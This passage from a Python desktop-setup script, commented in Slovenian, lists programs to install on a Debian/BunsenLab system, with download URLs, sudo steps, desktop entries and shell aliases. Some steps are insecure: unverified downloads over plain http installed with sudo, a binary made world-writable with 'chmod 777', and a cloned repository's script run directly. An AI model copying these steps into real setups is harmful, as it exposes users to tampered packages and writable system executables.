IDE',\n\t#\t\t\t\t\t\t\t\t'Exec=/opt/arduino-nightly/arduino',\n\t#\t\t\t\t\t\t\t\t'Icon=/opt/arduino-nightly/lib/icons/64x64/apps/arduino.png',\n\t#\t\t\t\t\t\t\t\t'Terminal=false',\n\t#\t\t\t\t\t\t\t\t'Type=Application',\n\t#\t\t\t\t\t\t\t\t'Categories=Development;Programming;'\n\t#\t\t\t\t\t\t\t\t]\n\t#Primer_programa.add_path_profile_variable = ''\n\t#\tADD_PATH_PROFILE_VARIABLE - string, ki ga je potrebno vpisati v $PATH spremenljivko.\n\t#\tprimer uporabe:\n\t#\tArduino.add_path_profile_variable = '/opt/arduino-nightly/\n\t#Primer_programa.extra_cmd = []\n\t#\tEXTRA_CMD - niz ukazov, ki bi jih morali vtipkati v terminal po instalacijskem postopku.\n\t#\tNa tem mestu lahko dodate link v /usr/bin/ tako, da lahko zazenete program od koderkoli,\n\t#\tkakor smo to naredili za program thunderbird...\n\t#\tprimer uporabe:\n\t#\tThunderbird.extra_cmd = ['sudo ln -s /opt/thunderbird/thunderbird /usr/bin/thunderbird'] \n\t#Primer_programa.add_bash_parameter = []\n\t#\tADD_BASH_PARAMETER - niz stringov (besedila), ki ga je potrebno dodati v datoteko:\n\t#\t~/.bashrc. Besedilo se doda na konec dokumenta. Skript vas vprasa za vsak niz posebej,\n\t#\tce naj ga doda.\n\t#\tprimer uporabe:\n\t#\tKeymap.add_bash_parameter = [\t'\\n#remap tipko [dz] - \"/\"',\n\t#\t\t\t\t\t\t\t\t\t'\\nxmodmap -e \"keycode 35 = slash\"']\n\t#Primer_programa.check_version_cmd = ''\n\t#\tCHECK_VERSION_CMD - string se izvrsi kot cmd ukaz v ternimalu in je namenjen\n\t#\tpreverjanju verzije. Ta ukaz se izvede po instalaciji.\n\t#\tprimer uporabe:\n\t#\tnovProgram = 'nano --version' \n\t#Primer_programa.notes = ''\n\t#\tNOTES - ko se instalacijski postopek zakljuci se izpise neko besedilo, ki sporoci\n\t#\tuporabniku kaka nadaljna navodila. Naprimer, ce program potrebuje kake dodatne\n\t#\tnastavitve, kot v primeru terminatorja za prikaz podatkov o racunalniku z neofetch.\n\t#VsiProgrami.append(Primer_programa.program_name)\n## Primer_programa ############################################\n\t#global Primer_programa\n\t#Primer_programa = NovProgram()\n\t#Primer_programa.program_name = ''\n\t#Primer_programa.description = ''\n\t#Primer_programa.pre_install_cmds = []\t\t\t\t\t\n\t#Primer_programa.apt_get_name = ''\n\t#Primer_programa.deb_package_path = ''\n\t#Primer_programa.deb_package_file = ''\n\t#Primer_programa.deb_package_path_32 = ''\n\t#Primer_programa.deb_package_file_32 = ''\n\t#Primer_programa.deb_package_path_64 = ''\n\t#Primer_programa.deb_package_file_64 = ''\n\t#Primer_programa.tar_package_path = ''\n\t#Primer_programa.tar_package_file = ''\n\t#Primer_programa.tar_package_path_32 = ''\n\t#Primer_programa.tar_package_file_32 = ''\n\t#Primer_programa.tar_package_path_64 = ''\n\t#Primer_programa.tar_package_file_64 = ''\n\t#Primer_programa.tar_destination = ''\n\t#Primer_programa.tar_extra_cmds = []\n\t#Primer_programa.program_desktop = []\n\t#Primer_programa.add_path_profile_variable = ''\n\t#Primer_programa.extra_cmd = []\n\t#Primer_programa.add_bash_parameter = []\n\t#Primer_programa.check_version_cmd = ''\n\t#Primer_programa.notes = ''\n\t#VsiProgrami.append(Primer_programa.program_name)\n## UPDATE & UPGRADE ############################################\n\tglobal Update_Upgrade\n\tUpdate_Upgrade = NovProgram()\n\tUpdate_Upgrade.program_name = 'Update & Upgrade'\n\tUpdate_Upgrade.description = 'Posodobite sistemske knjiznice...'\n\tUpdate_Upgrade.pre_install_cmds = [\t'sudo apt-get update',\n\t\t\t\t\t\t\t\t\t\t'sudo apt-get upgrade']\n\tVsiProgrami.append(Update_Upgrade.program_name)\n## ARDUINO #####################################################\n\tglobal Arduino\n\tArduino = NovProgram()\n\tArduino.program_name = 'ArduinoIDE'\n\tArduino.description = 'Arduino je mikrokrmilnik na maticni plosci, ki je zasnovan\\n'\\\n\t\t\t\t\t\t'tako da bi bil postopek z uporabo elektronike v multidisci-\\n'\\\n\t\t\t\t\t\t'plinarnih projektih, bolj dostopen. Strojno opremo sestavljajo\\n'\\\n\t\t\t\t\t\t'odprtokodna oblika plosce in 8-bitni mikrokrmilnik Atmel AVR\\n'\\\n\t\t\t\t\t\t'ali 32-bitni Atmel ARM. Programska oprema je sestavljena iz\\n'\\\n\t\t\t\t\t\t'standardnega programskega jezika, prevajalnika in zagonskega\\n'\\\n\t\t\t\t\t\t'nalagalnika, ki se izvaja na mikrokrmilniku. Razvojne plosce\\n'\\\n\t\t\t\t\t\t'Arduino so naprodaj ze sestavljene ali pa v sestavi sam izvedbi.\\n'\\\n\t\t\t\t\t\t'Mikrokrmilnik so razvili na soli oblikovanja v italijanskem\\n'\\\n\t\t\t\t\t\t'mestu Ivrea in predstavlja enega zgodnjih mejnikov v gibanju\\n'\\\n\t\t\t\t\t\t'odprtokodne strojne opreme.'\n\t#Arduino.apt_get_name =''\n\tArduino.check_version_cmd = 'head -1 /opt/arduino*/revisions.txt'\n\tArduino.tar_package_path_64 = 'https://downloads.arduino.cc/'\n\tArduino.tar_package_file_64 = 'arduino-nightly-linux64.tar.xz'\n\tArduino.tar_package_path_32 = 'https://downloads.arduino.cc/'\n\tArduino.tar_package_file_32 = 'arduino-nightly-linux32.tar.xz'\n\t#Arduino.tar_package_file_32 = 'arduino-1.8.1-linux32.tar.xz'\n\tArduino.tar_destination = opt_dir #default = home/$USER/Downloads/\n\tArduino.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=Arduino IDE',\n\t\t\t\t\t\t\t'Exec=/opt/arduino-nightly/arduino',\n\t\t\t\t\t\t\t'Icon=/opt/arduino-nightly/lib/icons/64x64/apps/arduino.png',\n\t\t\t\t\t\t\t'Terminal=false',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Development;Programming;'\n\t\t\t\t\t\t\t]\n\t#Arduino.tar_extra_cmds = ['sudo ' + Arduino.tar_destination + 'arduino-1.8.1/install.sh']\n\tArduino.add_path_profile_variable = Arduino.tar_destination + 'arduino-nightly/'\n\tArduino.notes = 'NASTAVITI JE POTREBNO \"SERIAL PORT PERMITIONS\"!\\n'\\\n\t\t\t\t\t'poglej na: http://playground.arduino.cc/Linux/All#Permission\\n'\\\n\t\t\t\t\t'1. -> ls -l /dev/ttyUSB* ali ls -l /dev/ttyACM*\\n'\\\n\t\t\t\t\t'\tdobimo:\\n'\\\n\t\t\t\t\t'\tcrw-rw---- 1 root dialout 188, 0 5 apr 23.01 ttyACM0\\n'\\\n\t\t\t\t\t'\tkjer je \"dailout\" - group name\\n'\\\n\t\t\t\t\t'2. -> sudo usermod -a -G group-name username\\n'\\\n\t\t\t\t\t'3. log-OUT & log-IN'\n\tVsiProgrami.append(Arduino.program_name)\n## QCAD ########################################################\n\tglobal qCAD\n\tqCAD = NovProgram()\n\tqCAD.program_name = 'qcad'\n\tqCAD.description = 'Qcad je racunalnisko podprto orodje za 2D nacrtovanje in\\n'\\\n\t\t\t\t\t\t'risanje. Zacetki razvoja segajo v leto 1999, ko je programsko\\n'\\\n\t\t\t\t\t\t'orodje nastalo kot rezultat spinoff projekta izdelave CAD\\n'\\\n\t\t\t\t\t\t'sistema. Z njim izdelamo tehnicne risbe (nacrti zgradb,\\n'\\\n\t\t\t\t\t\t'njihovih notranjosti, mehanski deli, sheme, diagrami ipd.).\\n'\\\n\t\t\t\t\t\t'Uporaben je na razlicnih tehniskih podrocjih: strojnistvo,\\n'\\\n\t\t\t\t\t\t'lesarstvo, gradbenistvo, arhitektura, geodezija in elektrotehnika.'\n\n\tqCAD.tar_package_path_64 = 'https://qcad.org/archives/qcad/'\n\tqCAD.tar_package_file_64 = 'qcad-3.16.5-trial-linux-x86_64.tar.gz'\n\tqCAD.tar_package_path_32 = 'https://qcad.org/archives/qcad/'\n\tqCAD.tar_package_file_32 = 'qcad-3.16.5-trial-linux-x86_32.tar.gz'\n\tqCAD.tar_destination = opt_dir\n\tqCAD.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=QCAD',\n\t\t\t\t\t\t\t'Exec=/opt/qcad-3.16.5-trial-linux-x86_'+str(qCAD.arhitecture_bit_num)+'/qcad',\n\t\t\t\t\t\t\t'Icon=/opt/qcad-3.16.5-trial-linux-x86_'+str(qCAD.arhitecture_bit_num)+'/qcad_icon.png',\n\t\t\t\t\t\t\t'Terminal=false',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Graphics;'\n\t\t\t\t\t\t\t]\n\tqCAD.add_path_profile_variable = '/opt/qcad-3.16.5-trial-linux-x86_'+str(qCAD.arhitecture_bit_num)+'/'\n\tVsiProgrami.append(qCAD.program_name)\n## FREECAD #####################################################\n\tglobal FreeCAD\n\tFreeCAD = NovProgram()\n\tFreeCAD.program_name = 'FreeCAD'\n\tFreeCAD.description = 'Orodje za tehnisko risanje.'\n\tFreeCAD.apt_get_name ='freecad'\n\tVsiProgrami.append(FreeCAD.program_name)\n## SUBLIME #####################################################\n\tglobal Sublime\n\tSublime = NovProgram()\n\tSublime.program_name = 'Sublime'\n\tSublime.description = 'Sublime Text is a sophisticated text editor\\n'\\\n\t\t\t\t\t\t'for code, markup and prose. You\\'ll love the\\n'\\\n\t\t\t\t\t\t'slick user interface, extraordinary features and\\n'\\\n\t\t\t\t\t\t'amazing performance.'\n\tSublime.apt_get_name =''\n\tSublime.check_version_cmd = ''\n\tSublime.deb_package_path_64 = 'https://download.sublimetext.com/'\n\tSublime.deb_package_file_64 = 'sublime-text_build-3126_amd64.deb'\n\tSublime.deb_package_path_32 = 'https://download.sublimetext.com/'\n\tSublime.deb_package_file_32 = 'sublime-text_build-3126_i386.deb'\n\tVsiProgrami.append(Sublime.program_name)\n## Terminator ##################################################\n\tglobal Terminator\n\tTerminator = NovProgram()\n\tTerminator.program_name = 'Terminator'\n\tTerminator.description = 'Lep, eleganten terminal...'\n\tTerminator.apt_get_name ='terminator'\n\tTerminator.check_version_cmd = ''\n\tTerminator.deb_package_path = ''\n\tTerminator.deb_package_file = ''\n\tVsiProgrami.append(Terminator.program_name)\n## Htop ########################################################\n\tglobal Htop\n\tHtop = NovProgram()\n\tHtop.program_name = 'Htop'\n\tHtop.description = 'Spremljanje procesov...'\n\tHtop.apt_get_name ='htop'\n\tHtop.check_version_cmd = ''\n\tHtop.deb_package_path = ''\n\tHtop.deb_package_file = ''\n\tVsiProgrami.append(Htop.program_name)\n## NMON ########################################################\n\tglobal nmon\n\tnmon = NovProgram()\n\tnmon.program_name = 'nmon'\n\tnmon.description = 'Spremljanje procesov... za DEBIAN!'\n\tnmon.apt_get_name =''\n\tnmon.tar_package_file = 'nmon16d_x86.tar.gz'\n\tnmon.tar_package_path = 'http://sourceforge.net/projects/nmon/files/'\n\tnmon.tar_destination = opt_dir+'nmon/'\n\tnmon.tar_extra_cmds =['sudo rm /usr/bin/nmon',\n\t\t\t\t\t\t'sudo chmod 777 '+opt_dir+'nmon/'+'nmon_x86_debian8',\n\t\t\t\t\t\t'sudo ln -s '+opt_dir+'nmon/'+'nmon_x86_debian8 /usr/bin/nmon']\n\tnmon.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=nmon',\n\t\t\t\t\t\t\t'Exec=terminator -e nmon',\n\t\t\t\t\t\t\t'Icon=nmon',\n\t\t\t\t\t\t\t'Terminal=true',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=System;Development;Programming;'\n\t\t\t\t\t\t\t]\n\t#nmon.tar_extra_cmds = ['sudo mv ' + download_dir + 'nmon/nmon_x86_64_ubuntu15 /usr/bin/nmon',\n\t#\t\t\t\t\t'sudo rm -R ' + download_dir+'nmon/',\n\t#\t\t\t\t\t'sudo chmod 777 /usr/bin/nmod']\n\t#nmon.tar_extra_cmds = ['sudo chmod 777 '+ download_dir + 'nmon/nmon_x86_debian8',\n\t#\t\t\t\t\t'sudo mv ' + download_dir + 'nmon/nmon_x86_debian8 /usr/bin/nmon',\n\t#\t\t\t\t\t'sudo rm -R ' + download_dir+'nmon/']\n\tVsiProgrami.append(nmon.program_name)\n## WAVEMON #####################################################\n\tglobal wavemon\n\twavemon = NovProgram()\n\twavemon.program_name = 'wavemon'\t\t\t\t\t#ime naj bo brez presledkov\n\twavemon.description = 'Program za monitoring wireless omrezj'\t\t\t\t\t#neko besedilo za opis\n\twavemon.apt_get_name = 'wavemon'\t\t\t\t\t#ime za apt-get\n\twavemon.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=WaveMon',\n\t\t\t\t\t\t\t'Exec=terminator -e sudo wavemon',\n\t\t\t\t\t\t\t'Icon=wifi',\n\t\t\t\t\t\t\t'Terminal=true',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Network;'\n\t\t\t\t\t\t\t]\n\tVsiProgrami.append(wavemon.program_name)\n## Neofetch ####################################################\n\tglobal Neofetch\n\tNeofetch = NovProgram()\n\tNeofetch.program_name = 'Neofetch'\n\tNeofetch.description = 'Logo in nekaj podatkov o racunaniku...!'\n\tNeofetch.apt_get_add_ppa ='add-apt-repository ppa:dawidd0811/neofetch'\n\tNeofetch.apt_get_name ='neofetch'\n\tNeofetch.check_version_cmd = 'neofetch'\n\tNeofetch.notes = 'Notes... to do...'\n\tVsiProgrami.append(Neofetch.program_name)\n## Fortune #####################################################\n\tglobal Fortune\n\tFortune = NovProgram()\n\tFortune.program_name = 'Fortune'\n\tFortune.description = 'Znani reki in pregovori...'\n\tFortune.apt_get_name ='fortune-mod'\n\tFortune.check_version_cmd = 'fortune -v'\n\tFortune.deb_package_path = ''\n\tFortune.deb_package_file = ''\n\tVsiProgrami.append(Fortune.program_name)\n## COWSAY ######################################################\n\tglobal Cowsay\n\tCowsay = NovProgram()\n\tCowsay.program_name = 'Cowsay'\n\tCowsay.description = 'To do...'\n\tCowsay.apt_get_name ='cowsay'\n\tCowsay.check_version_cmd = 'cowsay -help'\n\tCowsay.deb_package_path = ''\n\tCowsay.deb_package_file = ''\n\tCowsay.add_bash_parameter = [\"\\nalias cls='clear;neofetch;fortune|cowsay'\"]\n\tCowsay.notes = 'V terminatorju nastavite:\\nPreferences -> Profiles -> Command\\ncustom command: [ neofetch;fortune|cowsay;bash ]'\n\tVsiProgrami.append(Cowsay.program_name)\n## Keymap ######################################################\n\tglobal Keymap\n\tKeymap = NovProgram()\n\tKeymap.description='remap tipke [dz] v \"/\"'\n\tKeymap.program_name = 'Keymap'\n\tKeymap.add_bash_parameter = ['\\n#remap tipko [dz] - \"/\"','\\nxmodmap -e \"keycode 35 = slash\"']\t\t\t#text ki je za dodat v .bash \n\tVsiProgrami.append(Keymap.program_name)\n## LibreOffice #################################################\n\tglobal LibreOffice\n\tLibreOffice = NovProgram()\n\tLibreOffice.program_name = 'LibreOffice'\n\tLibreOffice.description = 'Office suit for linux and other OS...'\n\tLibreOffice.apt_get_name =''\n\tLibreOffice.check_version_cmd = ''\n\tLibreOffice.deb_package_path_64 = ''\n\tLibreOffice.deb_package_file_64 = ''\n\tLibreOffice.tar_package_path_64 = 'http://mirror.ba/tdf/libreoffice/stable/5.3.2/deb/x86_64/'\n\tLibreOffice.tar_package_file_64 = 'LibreOffice_5.3.2_Linux_x86-64_deb.tar.gz'\n\tLibreOffice.tar_destination =''\n\tLibreOffice.tar_extra_cmds = ['sudo dpkg -i '+ download_dir +'LibreOffice_5.3.2.2_Linux_x86-64_deb/DEBS/*.deb']\n\tLibreOffice.deb_package_path_32 = ''\n\tLibreOffice.deb_package_file_32 = ''\n\tVsiProgrami.append(LibreOffice.program_name)\n## Thunderbird #################################################\n\tglobal Thunderbird\n\tThunderbird = NovProgram()\n\tThunderbird.program_name = 'Thunderbird'\n\tThunderbird.description = 'Postni odjemalec...'\n\tThunderbird.apt_get_name ='thunderbird'\n\tThunderbird.tar_package_path_64 = 'https://download-installer.cdn.mozilla.net/pub/thunderbird/releases/45.8.0/linux-x86_64/en-US/'\n\tThunderbird.tar_package_file_64 = 'thunderbird-45.8.0.tar.bz2'\n\tThunderbird.tar_destination = '/opt/'\n\tThunderbird.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=Thunderbird',\n\t\t\t\t\t\t\t'Exec=/opt/thunderbird/thunderbird',\n\t\t\t\t\t\t\t'Icon=/usr/share/icons/Faenza/apps/32/thunderbird.png',\n\t\t\t\t\t\t\t'Terminal=false',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Network;'\n\t\t\t\t\t\t\t]\n\tThunderbird.extra_cmd = ['sudo ln -s /opt/thunderbird/thunderbird /usr/bin/thunderbird']\n\tThunderbird.check_version_cmd = 'thunderbird -v'\n\tVsiProgrami.append(Thunderbird.program_name)\n## GoogleChrome ################################################\n\tglobal GoogleChrome\n\tGoogleChrome = NovProgram()\n\tGoogleChrome.program_name = 'Google Chrome'\n\tGoogleChrome.description = 'spletni brsklalnik'\n\tGoogleChrome.apt_get_name =''\n\tGoogleChrome.check_version_cmd = ''\n\tGoogleChrome.deb_package_path_64 = 'https://dl.google.com/linux/direct/'\n\tGoogleChrome.deb_package_file_64 = 'google-chrome-stable_current_amd64.deb'\n\tGoogleChrome.deb_package_path_32 = 'https://archive.org/download/google-chrome-stable_48.0.2564.116-1_i386/'\n\tGoogleChrome.deb_package_file_32 = 'google-chrome-stable_48.0.2564.116-1_i386.deb'\n\tVsiProgrami.append(GoogleChrome.program_name)\n## W3M #########################################################\n\tglobal W3M\n\tW3M = NovProgram()\n\tW3M.program_name = 'w3m'\t\t\t\t\t#ime naj bo brez presledkov\n\tW3M.description = 'Terminalni spletni brskalnik'\t\t#neko besedilo za opis\n\tW3M.apt_get_name = 'w3m'\t\t\t\t\t#ime za apt-get\n\tW3M.check_version_cmd = 'w3m -v'\t\t\t#cmd za preverjanje verzije\n\tW3M.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=w3m',\n\t\t\t\t\t\t\t'Exec=terminator -e w3m www.duckduckgo.com',\n\t\t\t\t\t\t\t'Icon=w3m',\n\t\t\t\t\t\t\t'Terminal=true',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Network;'\n\t\t\t\t\t\t\t]\t\t\t\t#vsebina v program.desktop\n\tW3M.add_bash_parameter = [\"\\n #alias w3mm da odpre duckduckgo.com\",\"\\n alias w3mm='w3m www.google.com'\"]\n\tVsiProgrami.append(W3M.program_name)\n## Skype #######################################################\n\tglobal Skype\n\tSkype = NovProgram()\n\tSkype.program_name = 'Skype'\n\tSkype.description = 'Komunikacija preko interneta...'\n\tSkype.apt_get_name =''\n\tSkype.check_version_cmd = ''\n\tSkype.deb_package_path_64 = 'https://repo.skype.com/latest/'\n\tSkype.deb_package_file_64 = 'skypeforlinux-64.deb'\n\tSkype.deb_package_path_32 = 'https://repo.skype.com/latest/'\n\tSkype.deb_package_file_32 = 'skypeforlinux-32.deb'\n\tVsiProgrami.append(Skype.program_name)\n## OpenBoxMENU generatoe ######################################\n\t# global obmenugen\n\t# obmenugen = NovProgram()\n\t# obmenugen.program_name = 'obmenugen'\t\t#ime naj bo brez presledkov\n\t# obmenugen.description = 'Namenjeno avtomatskemu generiranju menuja v okolju OpenBox,\\n'\\\n\t# \t\t\t\t\t\t'katerega uporablja tudi BunsenLab. Program zgenerira menu\\n'\\\n\t# \t\t\t\t\t\t'iz vsebine datotek, ki jih najde v /usr/share/applications/*'\n\t# obmenugen.tar_package_path = 'https://netcologne.dl.sourceforge.net/project/obmenugen/obmenugen/obmenugen-0.2beta/'\t\t\t\t#url (brez fila)\n\t# obmenugen.tar_package_file = 'obmenugen-0.2beta.tar.bz2'\t\t\t\t#file za katerikoli sistem\n\t# obmenugen.tar_extra_cmds = ['sudo cp '+download_dir+'obmenugen/bin/obmenugen /usr/bin/',\n\t# \t\t\t\t\t\t\t'obmenugen -p',\n\t# \t\t\t\t\t\t\t'openbox --reconfigure',\n\t# \t\t\t\t\t\t\t'rm -R '+download_dir+'obmenugen']\t\t\t\t#extra commande, ce je se kaj za narest...\n\t# obmenugen.notes = 'Najverjetneje boste morali sami urediti tudi nekaj podatkov v:\\n'\\\n\t# \t\t\t\t\t'~/.config/obmenugen/obmenugen.cfg\\n'\\\n\t# \t\t\t\t\t'Kot naprimer kateri terminalni simulator uporabljate in\\n'\\\n\t# \t\t\t\t\t'vas priljubljen urejevalnik besedil...'\n\t#VsiProgrami.append(obmenugen.program_name)\n## conky #######################################################\n\tglobal conky\n\tconky = NovProgram()\n\tconky.program_name = 'conky'\t\t\t\t\t#ime naj bo brez presledkov\n\tconky.description = 'Prikaz nekaterih osnovnih podatkov sistema'\t\t\t\t\t#neko besedilo za opis\n\tconky.apt_get_name = 'conky-all'\t\t\t\t\t#ime za apt-get\n\tconky.extra_cmd = ['mkdir '+user+'/.config/conky',\n\t\t\t\t\t\t'ls -alF '+user+'/.config/conky']\t\t\t\t\t#se ene extra cmd ... ce je se kaj...\n\tconky.program_desktop = []\t\t\t\t#vsebina v program.desktop\n\tconky.add_path_profile_variable = '' \n\tconky.notes = ''\n\tVsiProgrami.append(conky.program_name)\n## dave's conky ################################################\n\tglobal dave_s_conky\n\tdave_s_conky = NovProgram()\n\tdave_s_conky.program_name = 'dave_s_conky_v3_cfg'\t\t\t\t\t#ime naj bo brez presledkov\n\tdave_s_conky.description = 'my conky config file'\t\t\t\t\t#neko besedilo za opis\n\tdave_s_conky.extra_cmd = ['wget \"https://github.com/davidrihtarsic/BunsenLab/raw/master/dave_s_conky.conkyrc\" -O ~/.config/conky/dave_s_conky.conkyrc',\\\n\t\t\t\t\t\t\t 'bl-conkyzen']\t\t\t\t\t#se ene extra cmd ... ce je se kaj...\n\tdave_s_conky.program_desktop = []\t\t\t\t#vsebina v program.desktop\n\tdave_s_conky.add_path_profile_variable = ''\n\tdave_s_conky.add_bash_parameter = \t['\\n# zazeni conky ob zagomu racunalnika...',\n\t\t\t\t\t\t\t\t\t\t'\\nconky --config='+user+'/.config/conky/dave_s_conky.conkyrc']\n\t#add to .bashrc file =>'conky -config='+user+'/.config/conky/dave_s_conky.conkyrc' \n\tdave_s_conky.notes = ''\n\tVsiProgrami.append(dave_s_conky.program_name)\n## alias ll -> ls -alF #########################################\n\tglobal ll\n\tll = NovProgram()\n\tll.program_name = 'alias ll'\t\t\t\t\t#ime naj bo brez presledkov\n\tll.description = 'priredi ll namesto uporabe ls -alF\\n'\\\n\t\t\t\t\t'nato so direktoriji videti takole:\\n'\\\n\t\t\t\t\t'drwxr-xr-x 31 david david 4096 Apr 5 09:33 ./\\n'\\\n\t\t\t\t\t'drwxr-xr-x 3 root root 4096 Apr 1 18:08 ../\\n'\\\n\t\t\t\t\t'drwxr-xr-x 3 david david 4096 Apr 3 19:05 Arduino/\\n'\\\n\t\t\t\t\t'drwxr-xr-x 2 david david 4096 Apr 3 19:05 .arduino15/\\n'\\\n\t\t\t\t\t'-rw-r--r-- 1 david david 0 Jul 11 2015 .bash_aliases\\n'\n\t\t\t\t\t#neko besedilo za opis\n\tll.add_bash_parameter = ['\\n#alias',\"\\nalias ll='ls -alF'\"]\t\t\t#text ki je za dodat v .bash \n\tll.notes = ''\n\tVsiProgrami.append(ll.program_name)\n## GIT #########################################################\n\tglobal git\n\tgit = NovProgram()\n\tgit.program_name = 'git'\t\t\t\t\t#ime naj bo brez presledkov\n\tgit.description = 'Protokol za skrbno spremljanje verzij\\n'\\\n\t\t\t\t\t'razvojnih programov.'\t\t\t\t\t#neko besedilo za opis\n\tgit.apt_get_name = 'git-core'\t\t\t\t\t#ime za apt-get\n\tgit.notes = ''\n\tVsiProgrami.append(git.program_name)\n## Java 8 ######################################################\n\tglobal java_8\n\tjava_8 = NovProgram()\n\tjava_8.program_name = 'java8'\t\t\t\t\t#ime naj bo brez presledkov\n\tjava_8.description = ''\t\t\t\t\t#neko besedilo za opis\n\tjava_8.check_version_cmd = 'java -version'\t\t\t#cmd za preverjanje verzije\n\tjava_8.tar_package_path_64 = 'http://javadl.oracle.com/webapps/download/'\t\t\t\t#url (brez fila)\n\tjava_8.tar_package_file_64 = 'AutoDL?BundleId=218823_e9e7ea248e2c4826b92b3f075a80e441'\t\t\t#file za 64bit\n\tjava_8.tar_destination = '/usr/lib/jvm/'\t\t\t\t#kam naj od tara.. TAR paket\n\tjava_8.extra_cmd = ['sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jre1.8.0_121/bin/java 1',\n\t\t\t\t\t\t'sudo update-alternatives --config java']\t\t\t\t\t#se ene extra cmd ... ce je se kaj...\n\tVsiProgrami.append(java_8.program_name)\n## SmartGIT ####################################################\n\tglobal smartGit\n\tsmartGit = NovProgram()\n\tsmartGit.program_name = 'smartgit'\t\t\t\t\t#ime naj bo brez presledkov\n\tsmartGit.description = 'Git GUI client'\t\t\t\t\t#neko besedilo za opis\n\tsmartGit.tar_package_path = 'https://www.syntevo.com/static/smart/download/smartgit/'\t\t\t\t#url (brez fila)\n\tsmartGit.tar_package_file = 'smartgit-linux-17_0_3.tar.gz'\t\t\t\t#file za katerikoli sistem\n\tsmartGit.tar_destination = opt_dir\t\t\t\t#kam naj od tara.. TAR paket\n\tsmartGit.extra_cmd = ['sudo ln -s /opt/smartgit/bin/smartgit.sh /usr/bin/smartgit']\t\t\t\t\t#se ene extra cmd ... ce je se kaj...\n\tsmartGit.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=SmartGit',\n\t\t\t\t\t\t\t'Exec=smartgit',\n\t\t\t\t\t\t\t'Icon=/opt/smartgit/bin/smartgit-32.png',\n\t\t\t\t\t\t\t'Terminal=false',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Development;'\n\t\t\t\t\t\t\t]\n\tVsiProgrami.append(smartGit.program_name)\n## OpenBox menu ################################################\n\tglobal obmenu\n\tobmenu = NovProgram()\n\tobmenu.program_name = 'openbox-menu'\t\t\t\t\t#ime naj bo brez presledkov\n\tobmenu.description = 'Naredi nov menu v OpenBox UI'\t\t#neko besedilo za opis\n\tobmenu.extra_cmd = ['mv ~/.config/openbox/menu.xml ~/.config/openbox/menu_original.xml',\\\n\t\t\t\t\t\t'wget \"https://github.com/davidrihtarsic/BunsenLab/raw/master/OpenBox_menu.xml\" -O ~/.config/openbox/menu.xml',\\\n\t\t\t\t\t\t'sudo git clone https://github.com/woho/openbox-menu.git '+opt_dir+'openbox-menu',\\\n\t\t\t\t\t\t'/opt/openbox-menu/obmenu.py']#se ene extra cmd ... ce je se kaj...\n\tobmenu.program_desktop = ['[Desktop Entry]',\n\t\t\t\t\t\t\t'Version=1.0',\n\t\t\t\t\t\t\t'Name=openbox-menu',\n\t\t\t\t\t\t\t'Exec=terminator -e /opt/openbox-menu/obmenu.py',\n\t\t\t\t\t\t\t'Icon=openbox.png',\n\t\t\t\t\t\t\t'Terminal=true',\n\t\t\t\t\t\t\t'Type=Application',\n\t\t\t\t\t\t\t'Categories=Settings;'\n\t\t\t\t\t\t\t] \n\t# obmenu.notes = ''\n\tVsiProgrami.append(obmenu.program_name)\n## alias WEATHER ###############################################\n\tglobal weather\n\tweather = NovProgram()\n\tweather.program_name = 'alias weather'\t\t\t\t\t#ime naj bo brez presledkov\n\tweather.description = 'izpis vremena za tri dni v terminalnem oknu'\n\t\t\t\t\t#neko besedilo za opis\n\tweather.add_bash_parameter = [\"\\nalias weather='curl wttr.in/~begunje'\"]\t\t\t#text ki je za dodat v .bash \n\tweather.notes = ''\n\tVsiProgrami.append(weather.program_name)\n## Primer_programa ############################################\n\tglobal stellarium\n\tstellarium = NovProgram()\n\tstellarium.program_name = 'stellarium'\n\tstellarium.description = 'Zvezvde...'\n\t#stellarium.pre_install_cmds = []\t\t\t\t\t\n\tstellarium.apt_get_name = 'stellarium'\n\t\n\t#stellarium.program_desktop = []\n\t#stellarium.extra_cmd = []\n\t#stellarium.add_bash_parameter = []\n\t#stellarium.check_version_cmd = ''\n\t#stellarium.notes = ''\n\tVsiProgrami.append(stellarium.program_name)\n\nInstall_programms()\n\ndef MakeProgrammsForm():\n\tglobal formProgramms\n\tformProgramms = Form('Izberi program',3,2 ,28,len(VsiProgrami)+4)\n\tglobal editPrigramms\n\teditPrigramms =[]\n\tfor n in range(0, len(VsiProgrami)):\n\t\teditPrigramms.append(Edit('(' + str(n+1) + ')', formProgramms.x+3 ,formProgramms.y + n + 2))\n\t\teditPrigramms[n].new_value(VsiProgrami[n])\nMakeProgrammsForm()\n\ndef MakeHelpForm():\n\tHotKeys = [\t'1..16 - Izberi posamezni program',\n\t\t\t\t'all - Izberi vse programe',\n\t\t\t\t'tehnika - Izbere programe za tehniko:',\n\t\t\t\t' Arduino, qCAD, FreeCAD in Sublime',\n\t\t\t\t'sistem - Izbere sistemske programe:',\n\t\t\t\t' Terminator in Htop',\n\t\t\t\t'----------------------------------------',\n\t\t\t\t'ENTER - Ta zaslon',\n\t\t\t\t'q - exit',\n\t\t\t\t]\n\tformHelp = Form('MENU',40,2,55,formProgramms.dy)\n\tt_Keys = []\n\tfor n in range(0, 